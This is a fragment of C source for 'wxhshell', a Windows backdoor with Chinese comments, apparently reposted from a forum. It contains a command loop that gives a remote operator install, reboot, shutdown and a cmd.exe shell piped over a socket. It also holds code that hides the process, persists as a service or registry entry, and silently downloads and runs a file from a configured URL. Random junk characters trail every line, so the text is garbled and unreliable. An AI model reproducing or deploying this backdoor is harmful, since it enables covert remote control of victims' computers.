  // 帮助 `Lb _J  
  case '?': { $A5B{2  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); *IjdN,wox  
    break; Ynk><0g6  
  } [5}cU{M  
  // 安装 \6nQ-S_  
  case 'i': { :c+a-Py $E  
    if(Install()) 8Pnqmjjj  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); VLwJ6?.f'  
    else &})4?5  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); j|VlHDqR  
    break; V}Y~z)i0  
    } ?()E5 4y  
  // 卸载 z?IY3]v*z<  
  case 'r': { }AeE|RNc  
    if(Uninstall()) T{v<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2=Vkjh-  
    else F(J!dG5#  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); A{n*NxKCX!  
    break; D3ZT''  
    } dKN3ZCw*gF  
  // 显示 wxhshell 所在路径 D=pI'5&  
  case 'p': { ^QHMN 7r/  
    char svExeFile[MAX_PATH]; gen3"\Og{  
    strcpy(svExeFile,"\n\r"); aS1P]&  
      strcat(svExeFile,ExeFile); 'piF_5(@  
        send(wsh,svExeFile,strlen(svExeFile),0); .ON$vn7  
    break; j)lM:vXR  
    } ?-6x]l=]  
  // 重启 =:R[gdA#1  
  case 'b': { *M**h-p2'  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); U mx  
    if(Boot(REBOOT)) 6u]OXP A|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $BO}D  
    else { ,a?\i JNb  
    closesocket(wsh); :8GxcqvCWq  
    ExitThread(0); ?U.&7yY  
    } JD\-X(O  
    break; bU g2Bm!y  
    } BX)cV  
  // 关机 jJ{ w -$  
  case 'd': { iJp!ROI  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); B #V 4  
    if(Boot(SHUTDOWN)) <xh'@592  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ] !*  
    else { gQzJ2LU(  
    closesocket(wsh); [ QL<&:s&  
    ExitThread(0); MsiC!j.-  
    } ]C:Ifh~  
    break; C?<XtIoB  
    } 0o'ML""j  
  // 获取shell ^}pREe c=  
  case 's': { p-03V"^&  
    CmdShell(wsh); $A!h=]  
    closesocket(wsh); -"^WDs  
    ExitThread(0); DDCQAf  
    break; kk7: A0._  
  } Cot\i\]jv  
  // 退出 L" ^366M!  
  case 'x': { Dp |FyP_w  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 3*23+}^G  
    CloseIt(wsh); ?kxWj(D  
    break; '!L1z45  
    } #3[b|cL  
  // 离开 umn~hb5O  
  case 'q': { g[+Q~/yq  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 4 AmF^H  
    closesocket(wsh); Jt, 4@  
    WSACleanup(); T-8nUo}i  
    exit(1); w3cK: C0  
    break; M[N.H9  
        } m-FDCiN>  
  } 4W-+k  
  } .`#R%4Xl  
cTx/Y&\9  
  // 提示信息 A|OC?NZY  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); H 1X]tw.  
} f0bV]<_9  
  } M{RZ-)IC  
+7OT`e %q  
  return; x#VUEu]8  
} u9~J1s<e  
O7*i;$!R  
// shell模块句柄 5VoiDM=\c  
int CmdShell(SOCKET sock) j;'Wf[V  
{ . TS=[WGMS  
STARTUPINFO si; trt\PP:H%  
ZeroMemory(&si,sizeof(si)); p+D 6Z'B  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; |^{" 2l"j  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; "(VcYQ+  
PROCESS_INFORMATION ProcessInfo; RteTz_ z{  
char cmdline[]="cmd"; vs5wxTM  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); `bF;Ew;  
  return 0; <&Xq`i/(  
} n{ WJ.Y*  
jn Y3G  
// 自身启动模式 U  {!{5l:  
int StartFromService(void) C>VZf,JE1  
{ Sylsp%A  
typedef struct L4Y3\4xXO  
{ ,lM2BXz%  
  DWORD ExitStatus; Q kpmPQK  
  DWORD PebBaseAddress; !\4FIs&Qv  
  DWORD AffinityMask; UH|.@7w  
  DWORD BasePriority; YcZ4y@6"  
  ULONG UniqueProcessId; S6X<3L`FfH  
  ULONG InheritedFromUniqueProcessId; @ xr   
}   PROCESS_BASIC_INFORMATION; Ih"Ol(W  
cLP @0`^H  
PROCNTQSIP NtQueryInformationProcess; 4=:eGlU93U  
+[`%b3Nk  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; XjU;oh4:.  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; C;>Ll~f_  
giJyMd}x  
  HANDLE             hProcess; tpK4 gjf  
  PROCESS_BASIC_INFORMATION pbi; j-|0&X1C  
OG`O i^2  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ZW%`G@d"H-  
  if(NULL == hInst ) return 0; e84TL U?~  
eO G%6C%a  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); :nEV/"#F  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); mX_`rvYII  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); JqZ5DjI:  
r%n[PK^(  
  if (!NtQueryInformationProcess) return 0; .#|pje^  
`_i-BdW  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); T7'$A!c  
  if(!hProcess) return 0; Q2=~  
(J*0/7 eX  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; &pz8vWCk  
_jz=BRO$  
  CloseHandle(hProcess); {%Sw w:  
XQ8Imkc  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); }JsdgO&z  
if(hProcess==NULL) return 0; h@d m:=ul  
jFfki.H  
HMODULE hMod; [4e5(!e  
char procName[255]; 9A!qg<  
unsigned long cbNeeded; 'CX KphlWs  
V^i3:'  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); U_No/$ b  
}^q#0`e(y  
  CloseHandle(hProcess); <9~qAq7^  
r "R\  
if(strstr(procName,"services")) return 1; // 以服务启动 pxj"<q`nw8  
X'm2uOEj  
  return 0; // 注册表启动 9@06]EI_  
} 9':$!Eoq  
T_WQzEL^  
// 主模块 ?x97 q3I+]  
int StartWxhshell(LPSTR lpCmdLine) '\Ub*m((1O  
{ `upNP/,  
  SOCKET wsl; y(k2p  
BOOL val=TRUE; 5hAg*zJb5o  
  int port=0; %}[??R0  
  struct sockaddr_in door; !MC W t  
Gf?KpU  
  if(wscfg.ws_autoins) Install(); ( EX  
D }\`5L<  
port=atoi(lpCmdLine); $c-3Q|C  
QVpZA,  
if(port<=0) port=wscfg.ws_port; t>xV]W<  
w9%gaK;  
  WSADATA data; DKZ69^  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ~#@EjQCq  
TI332,eL  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Dfea<5~^z  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); aI{[W;43T  
  door.sin_family = AF_INET; s@$AYZm_  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); o;.-I[9h]  
  door.sin_port = htons(port); j*5VJ:  
oZ}e w!V  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { D&shrKFx  
closesocket(wsl); m{*l6`dF  
return 1; VxCH}&!  
} )~`zjVx_  
jnTl%aQYc  
  if(listen(wsl,2) == INVALID_SOCKET) { NQAnvX;  
closesocket(wsl); sCUPa-cHF  
return 1; gJ])A7O  
} +K?h]v]%  
  Wxhshell(wsl); ')BQ 0sg  
  WSACleanup(); so7;h$h!H  
ld $`5!Z  
return 0; W.a/k7 p  
L6a8%%`  
} Q%7EC>V  
4M _83WL  
// 以NT服务方式启动 $3L7R  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 3X:F9x>y  
{ =N=,;<6%A  
DWORD   status = 0; G<-.{Gx)  
  DWORD   specificError = 0xfffffff; z,9qAts?mh  
&[YG\8sxWa  
  serviceStatus.dwServiceType     = SERVICE_WIN32; gvC2\k{  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; -4Xr5j%o  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE;  lcr=^  
  serviceStatus.dwWin32ExitCode     = 0; )oj`K,#  
  serviceStatus.dwServiceSpecificExitCode = 0; <n>< A+D  
  serviceStatus.dwCheckPoint       = 0; M(|gfsD  
  serviceStatus.dwWaitHint       = 0; AKpux,@xB  
s+[=nau('w  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); {t 7 M  
  if (hServiceStatusHandle==0) return; `9ieTt  
p})&Zl)V  
status = GetLastError(); 9qpH 8j+  
  if (status!=NO_ERROR) m[}$&i$(  
{ R9W(MLe58  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 7@sWT<P  
    serviceStatus.dwCheckPoint       = 0; <ESAoY"RPN  
    serviceStatus.dwWaitHint       = 0; 4Mprc~ 7vr  
    serviceStatus.dwWin32ExitCode     = status; 3 !,%;Vz=  
    serviceStatus.dwServiceSpecificExitCode = specificError; {\V)bizY;  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); DirWe  
    return; t3M/ThIE  
  } ,Xn%-OT  
ESO(~X+  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; IQM!dC  
  serviceStatus.dwCheckPoint       = 0; Cxh9rUe.  
  serviceStatus.dwWaitHint       = 0; V><P`  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); y?rsfIth`  
} s#Le`pGoW  
Ev()2 80  
// 处理NT服务事件,比如:启动、停止 %$cwbh-{{  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 5 `+*({  
{ 9J?j2!D  
switch(fdwControl) %=]{~5f>  
{ L^=>)\R2$[  
case SERVICE_CONTROL_STOP: u7/M>YJ`T  
  serviceStatus.dwWin32ExitCode = 0; {[$p}#7Y  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; !B\\:k]aO^  
  serviceStatus.dwCheckPoint   = 0; G67BQG\av  
  serviceStatus.dwWaitHint     = 0; iz'8P-]K>  
  { dI>oHMC  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); k @ Hu0x  
  } &8;mcM//4  
  return; ENGw <  
case SERVICE_CONTROL_PAUSE: &~k/G  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; V=YK3){>A  
  break; PY^Yx$t9  
case SERVICE_CONTROL_CONTINUE: ?FA:K0H?zl  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; %B~`bUHjq  
  break; SQeQ"k|P%  
case SERVICE_CONTROL_INTERROGATE: !{4p+peqJV  
  break; t*DM^. @  
}; Fc=8Qt^  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ht1 jrCe  
} U'\\(m|  
=3}+f-6"'  
// 标准应用程序主函数 Dk4Wj"LS  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ZK13[_@9  
{ Z?GC+hG`  
aqMZ%~7  
// 获取操作系统版本 {ng  
OsIsNt=GetOsVer(); Jjy}m0)#W_  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ^=tyf&"  
6sPd")%G  
  // 从命令行安装 @<};Bo'  
  if(strpbrk(lpCmdLine,"iI")) Install(); [iDa6mcth  
iBZ+gsSP  
  // 下载执行文件 &o?pZ(\C  
if(wscfg.ws_downexe) { kh`X92~  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 5Zq- |"|  
  WinExec(wscfg.ws_filenam,SW_HIDE); Me8d o; G|  
} F`-? 3]\3  
t'z] <7  
if(!OsIsNt) { %TLAn[LW(  
// 如果时win9x,隐藏进程并且设置为注册表启动 uU<Yf5  
HideProc(); {!-w|&bF  
StartWxhshell(lpCmdLine); .$q]<MK8  
} `dj/Uk  
else _ p?q/-[4  
  if(StartFromService()) { }>"f]3  
  // 以服务方式启动 sx/g5 ?zh  
  StartServiceCtrlDispatcher(DispatchTable); 72PDqK#  
else SkK=VeD>8  
  // 普通方式启动 e\P+R>i0  
  StartWxhshell(lpCmdLine);  UWu|w  
#a/lt^}C*  
return 0; ~:JKXa?  
}
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只看该作者 1 发表于: 2006-10-10
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